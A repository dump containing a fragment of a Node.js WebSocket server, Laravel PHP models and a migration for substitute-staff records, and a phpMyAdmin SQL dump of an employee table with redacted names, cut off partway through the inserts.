console.log(`connection from browser ${con}`); con.on('message', (message) => { game.processMessage(ws, message); }); }); server.listen(port); console.log("listening on port"+port);
3dfed22e0af25cf4c86ff0612673574f6056c491
[ "JavaScript" ]
2
JavaScript
pablomassizzo/yuuha
666129a899fb3bfcd36f47e3e0972eceaa467232
6c47322b08967ad550142f477d75e9de77d300cf
refs/heads/master
<file_sep><?php namespace App; use Illuminate\Database\Eloquent\Model; class Servicio extends Model { protected $fillable = [ 'servicio', 'descripcion' ]; public function setdescripcionAttribute($value) { $this->attributes['descripcion'] = strtoupper($value); } } <file_sep><?php use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateSuplentesTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('suplentes', function (Blueprint $table) { $table->increments('id'); $table->string('rfc')->length(13)->unique(); $table->string('curp')->length(18); $table->bigInteger('clabe')->length(18); $table->string('apellido_pat'); $table->string('apellido_mat'); $table->string('nombre'); $table->timestamps(); }); DB::statement('ALTER TABLE suplentes AUTO_INCREMENT = 800801;'); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::drop('suplentes'); } } <file_sep><?php namespace App; use Illuminate\Database\Eloquent\Model; class Suplente extends Model { protected $fillable = [ 'id', 'beneficiario','nombre', 'apellido_pat','apellido_mat', 'rfc','curp', 'clabe' ]; public function getfullnameAttribute($value) { return $this->nombre . ' ' . $this->apellido_pat. ' ' . $this->apellido_mat; } public function setnombreAttribute($value) { $this->attributes['nombre'] = strtoupper($value); } public function setapellidopatAttribute($value) { $this->attributes['apellido_pat'] = strtoupper($value); } public function setapellidomatAttribute($value) { $this->attributes['apellido_mat'] = strtoupper($value); } } <file_sep>-- phpMyAdmin SQL Dump -- version 4.6.4 -- https://www.phpmyadmin.net/ -- -- Host: localhost -- Generation Time: Sep 23, 2020 at 10:02 PM -- Server version: 5.7.31-0ubuntu0.16.04.1 -- PHP Version: 7.0.8-2+deb.sury.org~xenial+1 SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO"; SET time_zone = "+00:00"; /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; /*!40101 SET NAMES utf8mb4 */; -- -- Database: `sistemagys` -- -- -------------------------------------------------------- -- -- Table structure for table `empleados` -- CREATE TABLE `empleados` ( `id` int(10) UNSIGNED NOT NULL, `num_empleado` int(11) NOT NULL, `nombre` varchar(255) COLLATE utf8_unicode_ci NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci; -- -- Dumping data for table `empleados` -- INSERT INTO `empleados` (`id`, `num_empleado`, `nombre`) VALUES (1, 18908, '<NAME>'), (2, 25742, '<NAME>'), (3, 190919, '<NAME>'), (4, 27714, '<NAME>'), (5, 191203, '<NAME>'), (6, 249073, '<NAME>'), (7, 300708, '<NAME>'), (8, 48753, '<NAME>'), (9, 334522, '<NAME>'), (10, 249802, '<NAME>'), (11, 363847, '<NAME>'), (12, 55793, '<NAME>'), (13, 334778, '<NAME>'), (14, 371744, '<NAME>'), (15, 371751, '<NAME>'), (16, 301348, '<NAME>'), (17, 250474, '<NAME>'), (18, 193575, '<NAME>'), (19, 371974, '<NAME>'), (20, 375984, '<NAME>'), (21, 250802, '<NAME>'), (22, 372104, '<NAME>'), (23, 61379, '<NAME>'), (24, 372206, '<NAME>'), (25, 368099, '<NAME>'), (26, 376306, '<NAME>'), (27, 385772, '<NAME>'), (28, 380661, '<NAME>'), (29, 302077, '<NAME>'), (30, 386020, '<NAME>'), (31, 195099, '<NAME>'), (32, 335388, '<NAME>'), (33, 368422, '<NAME>'), (34, 386270, '<NAME>'), (35, 335483, '<NAME>'), (36, 368510, '<NAME>'), (37, 368514, '<NAME>'), (38, 368551, '<NAME>'), (39, 195652, '<NAME>'), (40, 365030, '<NAME>'), (41, 376855, '<NAME>'), (42, 365080, '<NAME>'), (43, 376901, '<NAME>'), (44, 365101, '<NAME>'), (45, 376927, '<NAME>'), (46, 252687, '<NAME>'), (47, 373276, '<NAME>'), (48, 377295, '<NAME>'), (49, 365595, '<NAME>'), (50, 253370, '<NAME>'), (51, 373484, '<NAME>'), (52, 382039, '<NAME>'), (53, 253416, '<NAME>'), (54, 77436, 'DE LA TRINIDAD <NAME>'), (55, 77474, '<NAME>'), (56, 365682, '<NAME>'), (57, 365703, '<NAME>'), (58, 373596, '<NAME>'), (59, 373749, '<NAME>'), (60, 197646, '<NAME>'), (61, 197674, '<NAME>'), (62, 197902, '<NAME> <NAME>'), (63, 377823, '<NAME>'), (64, 197976, '<NAME>'), (65, 365994, '<NAME>'), (66, 366014, '<NAME>'), (67, 198047, '<NAME>'), (68, 374001, '<NAME>'), (69, 369700, '<NAME>'), (70, 374092, '<NAME>'), (71, 388731, '<NAME>'), (72, 198467, '<NAME>'), (73, 304279, '<NAME> <NAME>'), (74, 389032, '<NAME>'), (75, 389037, '<NAME>'), (76, 336591, '<NAME>'), (77, 336599, '<NAME>'), (78, 336604, '<NAME>'), (79, 336608, '<NAME> <NAME>'), (80, 336613, '<NAME>'), (81, 255363, '<NAME>'), (82, 374500, '<NAME>'), (83, 374532, '<NAME>'), (84, 255506, '<NAME>'), (85, 374617, '<NAME>'), (86, 304683, '<NAME>'), (87, 378644, '<NAME>'), (88, 378655, '<NAME>'), (89, 255709, '<NAME>'), (90, 87011, '<NAME>'), (91, 374782, '<NAME>'), (92, 336862, '<NAME>'), (93, 374787, '<NAME>'), (94, 199418, '<NAME>'), (95, 366974, '<NAME>'), (96, 370557, '<NAME>'), (97, 384101, '<NAME>'), (98, 379131, '<NAME>'), (99, 594398, '<NAME>'), (100, 594402, '<NAME>'), (101, 594406, '<NAME>'), (102, 594410, '<NAME>'), (103, 384367, '<NAME>'), (104, 384483, '<NAME>'), (105, 379552, '<NAME>'), (106, 370876, '<NAME>'), (107, 200176, '<NAME>'), (108, 367369, '<NAME>'), (109, 200185, '<NAME>'), (110, 367373, '<NAME>'), (111, 379611, '<NAME>'), (112, 305354, '<NAME>'), (113, 305359, '<NAME>'), (114, 379724, '<NAME>'), (115, 594782, '<NAME>'), (116, 102335, '<NAME>'), (117, 594786, '<NAME>'), (118, 594810, '<NAME>'), (119, 337459, '<NAME>'), (120, 103195, '<NAME>'), (121, 257428, '<NAME>'), (122, 385372, '<NAME>'), (123, 595019, '<NAME>'), (124, 103850, '<NAME>'), (125, 257554, '<NAME>'), (126, 371526, '<NAME>'), (127, 337783, '<NAME>'), (128, 337790, '<NAME>'), (129, 337794, 'ECHAVARRIA <NAME>'), (130, 107166, '<NAME>'), (131, 258569, '<NAME>'), (132, 202583, '<NAME>'), (133, 307225, '<NAME>'), (134, 203887, '<NAME>'), (135, 204337, '<NAME>'), (136, 307750, '<NAME>'), (137, 260629, '<NAME>'), (138, 114510, '<NAME>'), (139, 338880, '<NAME>'), (140, 338916, '<NAME>'), (141, 307894, '<NAME>'), (142, 204954, '<NAME>'), (143, 205221, '<NAME>'), (144, 205476, '<NAME>'), (145, 308637, '<NAME>'), (146, 261665, '<NAME>'), (147, 205844, '<NAME>'), (148, 118264, '<NAME>'), (149, 119088, '<NAME>'), (150, 261963, '<NAME>'), (151, 206170, '<NAME>'), (152, 206641, '<NAME>'), (153, 309333, '<NAME>'), (154, 309713, '<NAME>'), (155, 123675, '<NAME>'), (156, 340088, '<NAME>'), (157, 309901, '<NAME>'), (158, 207415, '<NAME>'), (159, 309971, '<NAME>'), (160, 263733, '<NAME>'), (161, 124951, '<NAME>'), (162, 263986, '<NAME>'), (163, 310266, '<NAME> <NAME>'), (164, 125753, '<NAME>'), (165, 310479, '<NAME>'), (166, 264706, '<NAME>'), (167, 209045, '<NAME>'), (168, 340718, '<NAME>'), (169, 265190, '<NAME>'), (170, 341002, '<NAME>'), (171, 265452, '<NAME>'), (172, 265458, '<NAME> <NAME>'), (173, 265465, '<NAME> <NAME>'), (174, 265470, '<NAME>'), (175, 265475, '<NAME>'), (176, 209756, '<NAME>'), (177, 209984, '<NAME>'), (178, 265730, '<NAME>'), (179, 265743, '<NAME>'), (180, 210195, '<NAME>'), (181, 210264, '<NAME>'), (182, 341371, '<NAME>'), (183, 210435, '<NAME>'), (184, 210444, '<NAME>'), (185, 210542, '<NAME>'), (186, 131113, '<NAME>'), (187, 266154, '<NAME>'), (188, 210809, '<NAME>'), (189, 210816, '<NAME>'), (190, 266390, '<NAME>'), (191, 266459, '<NAME>'), (192, 341854, '<NAME>'), (193, 134002, '<NAME>'), (194, 212533, '<NAME>'), (195, 342322, '<NAME>'), (196, 318786, '<NAME>'), (197, 213304, '<NAME>'), (198, 322491, '<NAME>'), (199, 322512, '<NAME>'), (200, 315118, '<NAME>'), (201, 213918, '<NAME>'), (202, 213931, '<NAME> <NAME>'), (203, 213953, '<NAME>'), (204, 311197, '<NAME>'), (205, 315225, '<NAME>'), (206, 269086, '<NAME>'), (207, 214225, '<NAME>'), (208, 315402, '<NAME>'), (209, 214242, '<NAME>'), (210, 214258, '<NAME>'), (211, 325501, '<NAME> <NAME>'), (212, 331949, '<NAME>'), (213, 214668, '<NAME>'), (214, 140390, 'DE LA TRINIDAD <NAME>'), (215, 319665, '<NAME>'), (216, 311802, '<NAME>'), (217, 319796, '<NAME>'), (218, 325918, '<NAME>'), (219, 319959, '<NAME>'), (220, 270222, '<NAME>'), (221, 343393, '<NAME>'), (222, 343398, '<NAME>'), (223, 215465, '<NAME>'), (224, 326151, '<NAME>'), (225, 329201, '<NAME>'), (226, 312380, '<NAME>'), (227, 215755, '<NAME>'), (228, 326242, '<NAME>'), (229, 270956, '<NAME>'), (230, 326341, '<NAME>'), (231, 329388, '<NAME>'), (232, 143003, '<NAME>'), (233, 332702, '<NAME>'), (234, 143531, '<NAME>'), (235, 143601, '<NAME> <NAME>'), (236, 323724, '<NAME>'), (237, 326720, '<NAME>'), (238, 323730, '<NAME>'), (239, 271843, '<NAME>'), (240, 216645, '<NAME>'), (241, 216658, '<NAME>'), (242, 144426, '<NAME>'), (243, 329868, '<NAME>'), (244, 344257, '<NAME>'), (245, 316906, '<NAME>'), (246, 316911, '<NAME>'), (247, 316915, '<NAME>'), (248, 272332, '<NAME>'), (249, 313135, '<NAME>'), (250, 145665, '<NAME>'), (251, 272726, '<NAME>'), (252, 327228, '<NAME>'), (253, 327232, '<NAME>'), (254, 324174, '<NAME>'), (255, 327381, '<NAME>'), (256, 330411, '<NAME>'), (257, 330415, '<NAME>'), (258, 330419, '<NAME>'), (259, 330423, '<NAME>'), (260, 321418, '<NAME>'), (261, 217989, '<NAME>'), (262, 333415, '<NAME>'), (263, 273291, '<NAME>'), (264, 333420, '<NAME>'), (265, 344774, '<NAME>'), (266, 327650, '<NAME>'), (267, 321738, '<NAME>'), (268, 313731, '<NAME>'), (269, 327945, '<NAME>'), (270, 333725, '<NAME>'), (271, 327953, '<NAME>'), (272, 327959, '<NAME>'), (273, 324795, '<NAME>'), (274, 333908, '<NAME>'), (275, 321977, '<NAME>'), (276, 324915, '<NAME>'), (277, 331187, '<NAME>'), (278, 318376, '<NAME>'), (279, 325022, '<NAME>'), (280, 148836, '<NAME>'), (281, 318583, '<NAME>'), (282, 314121, '<NAME>'), (283, 314131, '<NAME>'), (284, 345706, '<NAME>'), (285, 331687, '<NAME>'), (286, 220294, '<NAME>'), (287, 275866, '<NAME>'), (288, 220778, '<NAME>'), (289, 220790, '<NAME>'), (290, 220819, '<NAME>'), (291, 221375, '<NAME>'), (292, 346323, '<NAME>'), (293, 221383, '<NAME>'), (294, 346328, '<NAME>'), (295, 221713, '<NAME>'), (296, 277278, '<NAME>'), (297, 152260, '<NAME>'), (298, 222484, '<NAME>'), (299, 154636, '<NAME>'), (300, 278773, '<NAME>'), (301, 279090, '<NAME>'), (302, 225080, '<NAME>'), (303, 225182, '<NAME>'), (304, 225206, '<NAME>'), (305, 225212, '<NAME>'), (306, 279351, '<NAME>'), (307, 225221, '<NAME>'), (308, 225229, '<NAME>'), (309, 225235, '<NAME>'), (310, 156648, '<NAME>'), (311, 226187, '<NAME>'), (312, 226389, '<NAME>'), (313, 227088, '<NAME>'), (314, 227881, '<NAME>'), (315, 159074, '<NAME>'), (316, 159089, '<NAME>'), (317, 159113, '<NAME>'), (318, 159139, '<NAME>'), (319, 228119, '<NAME>'), (320, 159158, '<NAME>'), (321, 159195, '<NAME>'), (322, 159220, 'DE LAS F<NAME>'), (323, 228345, '<NAME>'), (324, 229150, '<NAME>'), (325, 281900, '<NAME>'), (326, 229356, '<NAME>'), (327, 160915, '<NAME>'), (328, 229422, '<NAME>'), (329, 229452, '<NAME>'), (330, 349440, '<NAME>'), (331, 282274, '<NAME>'), (332, 349465, '<NAME>'), (333, 349470, '<NAME>'), (334, 161773, '<NAME>'), (335, 282794, '<NAME>'), (336, 282803, '<NAME>'), (337, 231088, '<NAME>'), (338, 163008, '<NAME>'), (339, 231435, '<NAME>'), (340, 283719, '<NAME>'), (341, 283910, '<NAME>'), (342, 350554, '<NAME>'), (343, 350567, '<NAME>'), (344, 284500, '<NAME>'), (345, 232777, '<NAME>'), (346, 350754, '<NAME>'), (347, 165238, '<NAME>'), (348, 233055, '<NAME>'), (349, 351061, '<NAME>'), (350, 234049, '<NAME>'), (351, 234081, '<NAME>'), (352, 285706, '<NAME>'), (353, 234614, '<NAME>'), (354, 234966, '<NAME>'), (355, 167464, '<NAME>'), (356, 229419, '<NAME>'), (357, 286615, '<NAME>'), (358, 235926, '<NAME>'), (359, 352209, '<NAME>'), (360, 236365, '<NAME>'), (361, 365268, '<NAME>'), (362, 170514, '<NAME>'), (363, 374910, '<NAME>'), (364, 375075, '<NAME>'), (365, 352983, '<NAME>'), (366, 376734, '<NAME>'), (367, 377118, '<NAME>'), (368, 171189, '<NAME>'), (369, 378894, '<NAME>'), (370, 379138, '<NAME>'), (371, 288311, '<NAME>'), (372, 383163, '<NAME>'), (373, 383452, '<NAME>'), (374, 385368, '<NAME>'), (375, 385909, '<NAME>'), (376, 238677, 'NAVARRO <NAME>'), (377, 353643, '<NAME>'), (378, 389562, '<NAME>'), (379, 390407, '<NAME>'), (380, 239360, '<NAME>'), (381, 172522, '<NAME>'), (382, 172582, '<NAME>'), (383, 172591, '<NAME>'), (384, 354030, '<NAME>'), (385, 240082, '<NAME>'), (386, 290071, '<NAME>'), (387, 354485, '<NAME>'), (388, 355054, '<NAME>'), (389, 242101, '<NAME> <NAME>'), (390, 242320, '<NAME>'), (391, 242450, '<NAME>'), (392, 355379, '<NAME>'), (393, 174568, 'DE LA VEGA MENDOZA <NAME>'), (394, 174578, '<NAME>'), (395, 174590, '<NAME>'), (396, 174607, '<NAME>'), (397, 292543, '<NAME>'), (398, 175947, '<NAME>'), (399, 356299, '<NAME>'), (400, 244919, '<NAME>'), (401, 356452, '<NAME>'), (402, 245670, '<NAME>'), (403, 176642, '<NAME>'), (404, 245945, '<NAME>'), (405, 356999, '<NAME>'), (406, 178105, '<NAME>'), (407, 357310, '<NAME>'), (408, 294688, '<NAME>'), (409, 247685, '<NAME>'), (410, 294946, '<NAME>'), (411, 295132, '<NAME>'), (412, 357725, '<NAME>'), (413, 357950, '<NAME>'), (414, 358120, '<NAME>'), (415, 295973, '<NAME>'), (416, 359151, '<NAME>'), (417, 359224, '<NAME>'), (418, 181836, '<NAME>'), (419, 359522, '<NAME>'), (420, 359600, '<NAME>'), (421, 297804, '<NAME>'), (422, 359779, '<NAME>'), (423, 182283, '<NAME>'), (424, 182293, '<NAME>'), (425, 360110, '<NAME>'), (426, 298763, '<NAME>'), (427, 360306, '<NAME>'), (428, 299080, '<NAME>'), (429, 360451, '<NAME>'), (430, 360534, '<NAME>'), (431, 184977, '<NAME>'), (432, 360727, '<NAME>'), (433, 361004, '<NAME>'), (434, 300121, '<NAME>'), (435, 361215, '<NAME>'), (436, 361296, 'DE LA CRUZ DEL<NAME>'), (437, 187154, '<NAME>'), (438, 361453, '<NAME>'), (439, 361549, '<NAME>'), (440, 187743, '<NAME>'), (441, 188096, '<NAME>'), (442, 188255, '<NAME>'), (443, 362010, '<NAME>'), (444, 188858, '<NAME>'), (445, 362308, '<NAME>'), (446, 362438, '<NAME>'), (447, 362442, '<NAME>'), (448, 362446, '<NAME>'), (449, 362453, '<NAME>'), (450, 362457, '<NAME>'), (451, 362461, '<NAME>'), (452, 362465, '<NAME>'), (453, 362470, '<NAME>'), (454, 362482, '<NAME>'), (455, 362486, '<NAME>'), (456, 362490, '<NAME>'), (457, 362514, '<NAME> <NAME>'), (458, 362518, '<NAME>'), (459, 362522, '<NAME>'), (460, 362549, '<NAME>'), (461, 362657, '<NAME>'), (462, 363458, '<NAME>'), (463, 190921, '<NAME>'), (464, 29762, '<NAME>'), (465, 191179, '<NAME>'), (466, 191195, '<NAME>'), (467, 38138, '<NAME>'), (468, 300649, '<NAME>'), (469, 192059, '<NAME>'), (470, 334523, '<NAME>'), (471, 249846, '<NAME>'), (472, 363848, '<NAME>'), (473, 367539, '<NAME>'), (474, 250295, '<NAME>'), (475, 371745, '<NAME>'), (476, 371752, '<NAME>'), (477, 250475, '<NAME>'), (478, 193538, '<NAME>'), (479, 193572, '<NAME>'), (480, 250614, '<NAME>'), (481, 375985, '<NAME>'), (482, 250884, '<NAME>'), (483, 372105, '<NAME>'), (484, 367957, '<NAME>'), (485, 368085, '<NAME>'), (486, 368100, '<NAME>'), (487, 372307, '<NAME>'), (488, 380658, '<NAME>'), (489, 251263, '<NAME>'), (490, 372409, '<NAME>'), (491, 251300, '<NAME>'), (492, 386021, '<NAME> <NAME>'), (493, 335389, '<NAME>'), (494, 368418, '<NAME>'), (495, 364844, '<NAME>'), (496, 68439, '<NAME>'), (497, 368511, '<NAME>'), (498, 365081, '<NAME>'), (499, 376924, '<NAME>'), (500, 302623, '<NAME>'), (501, 196103, '<NAME>'), (502, 377002, '<NAME>'), (503, 377117, '<NAME>'), (504, 377122, '<NAME>'), (505, 373277, '<NAME>'), (506, 369038, '<NAME>'), (507, 373486, '<NAME>'), (508, 382041, '<NAME>'), (509, 365683, '<NAME>'), (510, 377487, '<NAME>'), (511, 377501, '<NAME>'), (512, 365704, '<NAME>'), (513, 373597, '<NAME> <NAME>'), (514, 197660, '<NAME>'), (515, 369511, '<NAME>'), (516, 365995, '<NAME>'), (517, 369696, '<NAME>'), (518, 369701, '<NAME>'), (519, 336350, '<NAME>'), (520, 374237, '<NAME>'), (521, 304211, '<NAME>'), (522, 383132, '<NAME>'), (523, 389034, '<NAME>'), (524, 374391, '<NAME>'), (525, 366538, '<NAME>'), (526, 336592, '<NAME>'), (527, 336600, '<NAME>'), (528, 336605, '<NAME>'), (529, 336610, '<NAME>'), (530, 336614, '<NAME>'), (531, 366564, '<NAME>'), (532, 304449, '<NAME>'), (533, 374501, '<NAME>'), (534, 378531, '<NAME>'), (535, 255597, '<NAME>'), (536, 366701, '<NAME>'), (537, 304684, '<NAME>'), (538, 378647, '<NAME>'), (539, 378656, '<NAME>'), (540, 304839, '<NAME>'), (541, 336863, '<NAME>'), (542, 366969, '<NAME>'), (543, 366976, '<NAME>'), (544, 370558, '<NAME>'), (545, 375066, '<NAME>'), (546, 594399, '<NAME>'), (547, 594403, '<NAME>'), (548, 594407, '<NAME> <NAME>'), (549, 199917, '<NAME>'), (550, 199991, '<NAME>'), (551, 384484, '<NAME>'), (552, 100364, '<NAME>'), (553, 379548, '<NAME>'), (554, 379553, '<NAME>'), (555, 370877, '<NAME>'), (556, 367370, 'DE LA TRINIDAD <NAME>'), (557, 200200, '<NAME>'), (558, 200221, '<NAME>'), (559, 305356, '<NAME>'), (560, 370937, '<NAME>'), (561, 594783, '<NAME>'), (562, 594811, '<NAME>'), (563, 337451, '<NAME>'), (564, 337460, '<NAME>'), (565, 385367, '<NAME>'), (566, 380202, '<NAME>'), (567, 385442, '<NAME>'), (568, 257557, '<NAME>'), (569, 201226, '<NAME>'), (570, 201289, '<NAME>'), (571, 371527, '<NAME>'), (572, 371540, '<NAME> <NAME>'), (573, 371561, '<NAME>'), (574, 257961, '<NAME>'), (575, 337784, '<NAME>'), (576, 337791, '<NAME>'), (577, 306377, '<NAME>'), (578, 202509, '<NAME> <NAME>'), (579, 306976, '<NAME>'), (580, 259906, '<NAME>'), (581, 203889, '<NAME>'), (582, 111591, '<NAME>'), (583, 204196, '<NAME>'), (584, 204338, '<NAME>'), (585, 307751, '<NAME>'), (586, 204551, '<NAME>'), (587, 260549, '<NAME>'), (588, 260630, '<NAME>'), (589, 338901, '<NAME>'), (590, 338905, '<NAME>'), (591, 307895, '<NAME>'), (592, 204937, '<NAME>'), (593, 261106, '<NAME>'), (594, 308170, '<NAME>'), (595, 339151, '<NAME>'), (596, 205459, '<NAME>'), (597, 205477, '<NAME>'), (598, 116985, '<NAME>'), (599, 117634, '<NAME>'), (600, 205779, '<NAME>'), (601, 205846, '<NAME>'), (602, 339422, '<NAME>'), (603, 261915, '<NAME>'), (604, 206313, '<NAME>'), (605, 206633, 'ACOSTA <NAME>'), (606, 309334, '<NAME>'), (607, 262753, '<NAME>'), (608, 309388, '<NAME>'), (609, 262990, '<NAME>'), (610, 263191, '<NAME>'), (611, 340090, '<NAME>'), (612, 207416, '<NAME>'), (613, 263440, '<NAME>'), (614, 309948, '<NAME>'), (615, 310050, '<NAME>'), (616, 264064, '<NAME>'), (617, 340363, '<NAME>'), (618, 125754, '<NAME>'), (619, 340513, '<NAME>'), (620, 264707, '<NAME>'), (621, 209046, '<NAME>'), (622, 265132, '<NAME>'), (623, 209401, '<NAME>'), (624, 265354, '<NAME>'), (625, 341029, '<NAME>'), (626, 265453, '<NAME>'), (627, 265461, '<NAME>'), (628, 265466, '<NAME>'), (629, 265472, '<NAME>'), (630, 265478, '<NAME>'), (631, 209985, '<NAME>'), (632, 265726, '<NAME>'), (633, 265732, '<NAME>'), (634, 341261, '<NAME>'), (635, 210178, '<NAME>'), (636, 210196, '<NAME>'), (637, 341303, '<NAME>'), (638, 130335, '<NAME>'), (639, 210265, '<NAME>'), (640, 131478, '<NAME>'), (641, 210804, '<NAME>'), (642, 210811, '<NAME>'), (643, 210817, '<NAME>'), (644, 341847, '<NAME>'), (645, 267043, '<NAME>'), (646, 212150, '<NAME>'), (647, 314581, '<NAME>'), (648, 318788, '<NAME>'), (649, 213097, '<NAME>'), (650, 268392, '<NAME>'), (651, 314696, '<NAME>'), (652, 342576, '<NAME>'), (653, 213306, '<NAME>'), (654, 268504, '<NAME>'), (655, 342601, '<NAME>'), (656, 268701, '<NAME>'), (657, 311084, '<NAME>'), (658, 322487, '<NAME>'), (659, 322514, '<NAME>'), (660, 325289, '<NAME>'), (661, 315220, '<NAME>'), (662, 269089, '<NAME>'), (663, 315405, '<NAME>'), (664, 214244, '<NAME>'), (665, 343037, '<NAME>'), (666, 214635, '<NAME>'), (667, 269590, '<NAME>'), (668, 315761, '<NAME>'), (669, 343116, '<NAME>'), (670, 325769, '<NAME>'), (671, 325782, '<NAME>'), (672, 325919, '<NAME>'), (673, 343308, '<NAME>'), (674, 343312, '<NAME>'), (675, 319960, '<NAME>'), (676, 343394, '<NAME>'), (677, 343399, '<NAME>'), (678, 326120, '<NAME>'), (679, 329203, '<NAME>'), (680, 316309, '<NAME>'), (681, 343549, '<NAME>'), (682, 215756, '<NAME>'), (683, 329342, '<NAME>'), (684, 270958, '<NAME>'), (685, 329389, '<NAME>'), (686, 215999, '<NAME>'), (687, 326364, '<NAME>'), (688, 216020, '<NAME>'), (689, 271429, '<NAME>'), (690, 320593, '<NAME>'), (691, 143645, '<NAME>'), (692, 329714, '<NAME>'), (693, 329721, '<NAME>'), (694, 323725, '<NAME>'), (695, 323731, '<NAME>'), (696, 216647, '<NAME>'), (697, 216659, '<NAME>'), (698, 329869, '<NAME>'), (699, 329905, '<NAME>'), (700, 316907, '<NAME>'), (701, 316912, '<NAME>'), (702, 330109, '<NAME>'), (703, 344382, '<NAME>'), (704, 321108, '<NAME>'), (705, 145684, '<NAME>'), (706, 344441, '<NAME>'), (707, 327229, '<NAME>'), (708, 321184, '<NAME> <NAME>'), (709, 327382, '<NAME>'), (710, 330412, '<NAME>'), (711, 330416, '<NAME>'), (712, 330420, '<NAME>'), (713, 344697, '<NAME>'), (714, 217996, '<NAME>'), (715, 333416, '<NAME>'), (716, 333422, '<NAME>'), (717, 317631, '<NAME>'), (718, 327651, '<NAME>'), (719, 147674, '<NAME>'), (720, 344865, '<NAME>'), (721, 324625, '<NAME>'), (722, 313733, '<NAME>'), (723, 333721, '<NAME>'), (724, 327946, '<NAME>'), (725, 327955, '<NAME>'), (726, 333736, '<NAME>'), (727, 327960, '<NAME>'), (728, 318054, '<NAME>'), (729, 345091, '<NAME>'), (730, 331001, '<NAME>'), (731, 333898, '<NAME>'), (732, 321974, '<NAME>'), (733, 219154, '<NAME>'), (734, 345301, '<NAME>'), (735, 274312, '<NAME>'), (736, 318377, '<NAME>'), (737, 325023, '<NAME>'), (738, 148891, '<NAME>'), (739, 328553, '<NAME>'), (740, 314133, '<NAME>'), (741, 274968, '<NAME>'), (742, 220156, '<NAME>'), (743, 220288, '<NAME>'), (744, 220295, '<NAME>'), (745, 275696, '<NAME>'), (746, 220781, '<NAME>'), (747, 220796, '<NAME>'), (748, 346136, '<NAME>'), (749, 221086, '<NAME>'), (750, 346208, '<NAME>'), (751, 276260, '<NAME>'), (752, 346305, '<NAME>'), (753, 221378, '<NAME>'), (754, 221387, '<NAME>'), (755, 346324, '<NAME>'), (756, 346329, '<NAME>'), (757, 221715, '<NAME>'), (758, 151502, '<NAME>'), (759, 152047, '<NAME>'), (760, 152254, '<NAME>'), (761, 152268, '<NAME>'), (762, 278355, '<NAME>'), (763, 154485, '<NAME>'), (764, 155175, '<NAME>'), (765, 278777, '<NAME>'), (766, 279091, '<NAME>'), (767, 224839, '<NAME>'), (768, 225082, '<NAME>'), (769, 225207, '<NAME>'), (770, 156509, '<NAME>'), (771, 225213, '<NAME>'), (772, 225222, '<NAME>'), (773, 225230, '<NAME>'), (774, 225236, '<NAME>'), (775, 225285, '<NAME>'), (776, 226038, '<NAME>'), (777, 226182, '<NAME>'), (778, 226188, '<NAME>'), (779, 226366, '<NAME>'), (780, 227083, '<NAME>'), (781, 227089, '<NAME>'), (782, 348671, '<NAME>'), (783, 159080, '<NAME>'), (784, 159092, '<NAME>'), (785, 159119, '<NAME>'), (786, 159145, '<NAME>'), (787, 159163, '<NAME>'), (788, 228166, '<NAME>'), (789, 159198, '<NAME>'), (790, 159227, '<NAME>'), (791, 228347, '<NAME>'), (792, 349029, '<NAME>'), (793, 281674, '<NAME>'), (794, 228765, '<NAME>'), (795, 229154, '<NAME>'), (796, 160924, '<NAME>'), (797, 229692, '<NAME>'), (798, 282275, '<NAME>'), (799, 230025, '<NAME>'), (800, 282719, '<NAME>'), (801, 282795, '<NAME>'), (802, 282804, '<NAME>'), (803, 283028, '<NAME>'), (804, 162425, '<NAME>'), (805, 283087, '<NAME>'), (806, 231089, '<NAME>'), (807, 283574, '<NAME>'), (808, 283724, '<NAME>'), (809, 231579, '<NAME> <NAME>'), (810, 350546, '<NAME>'), (811, 350555, '<NAME>'), (812, 350568, '<NAME>'), (813, 284502, '<NAME>'), (814, 165239, '<NAME>'), (815, 233058, '<NAME>'), (816, 165316, '<NAME>'), (817, 234107, '<NAME>'), (818, 351243, '<NAME>'), (819, 351379, '<NAME>'), (820, 166808, '<NAME>'), (821, 234615, '<NAME>'), (822, 351491, '<NAME>'), (823, 286337, '<NAME>'), (824, 235367, '<NAME>'), (825, 156655, '<NAME>'), (826, 235617, '<NAME>'), (827, 286701, '<NAME>'), (828, 341262, '<NAME>'), (829, 352361, '<NAME>'), (830, 236824, '<NAME>'), (831, 170018, '<NAME>'), (832, 352645, '<NAME>'), (833, 368419, '<NAME>'), (834, 352782, '<NAME>'), (835, 170590, '<NAME>'), (836, 376202, '<NAME>'), (837, 376744, '<NAME>'), (838, 376918, '<NAME>'), (839, 171148, '<NAME>'), (840, 237864, '<NAME>'), (841, 378636, '<NAME>'), (842, 378671, '<NAME>'), (843, 380775, '<NAME>'), (844, 288312, '<NAME>'), (845, 386331, '<NAME>'), (846, 238680, '<NAME>'), (847, 387345, '<NAME>'), (848, 239050, '<NAME>'), (849, 390408, '<NAME>'), (850, 390424, '<NAME>'), (851, 239363, '<NAME>'), (852, 172583, '<NAME>'), (853, 172592, '<NAME>'), (854, 354007, '<NAME>'), (855, 354031, '<NAME>'), (856, 240078, '<NAME>'), (857, 240083, '<NAME>'), (858, 290065, '<NAME>'), (859, 290101, '<NAME>'), (860, 290320, '<NAME>'), (861, 355055, '<NAME>'), (862, 355141, '<NAME>'), (863, 242452, '<NAME>'), (864, 174373, '<NAME>'), (865, 355461, '<NAME>'), (866, 291882, '<NAME>'), (867, 355489, '<NAME>'), (868, 174569, '<NAME>'), (869, 174580, '<NAME>'), (870, 174594, '<NAME>'), (871, 174608, '<NAME>'), (872, 244061, '<NAME>'), (873, 356322, '<NAME>'), (874, 293576, '<NAME>'), (875, 293712, '<NAME>'), (876, 356804, '<NAME>'), (877, 293829, '<NAME>'), (878, 177030, '<NAME>'), (879, 356919, '<NAME>'), (880, 177760, '<NAME>'), (881, 357306, '<NAME>'), (882, 357358, '<NAME>'), (883, 294851, '<NAME>'), (884, 295724, '<NAME>'), (885, 358115, '<NAME>'), (886, 358121, '<NAME> <NAME>'), (887, 180745, '<NAME>'), (888, 358583, '<NAME>'), (889, 358843, '<NAME>'), (890, 358849, '<NAME>'), (891, 358911, '<NAME>'), (892, 359225, 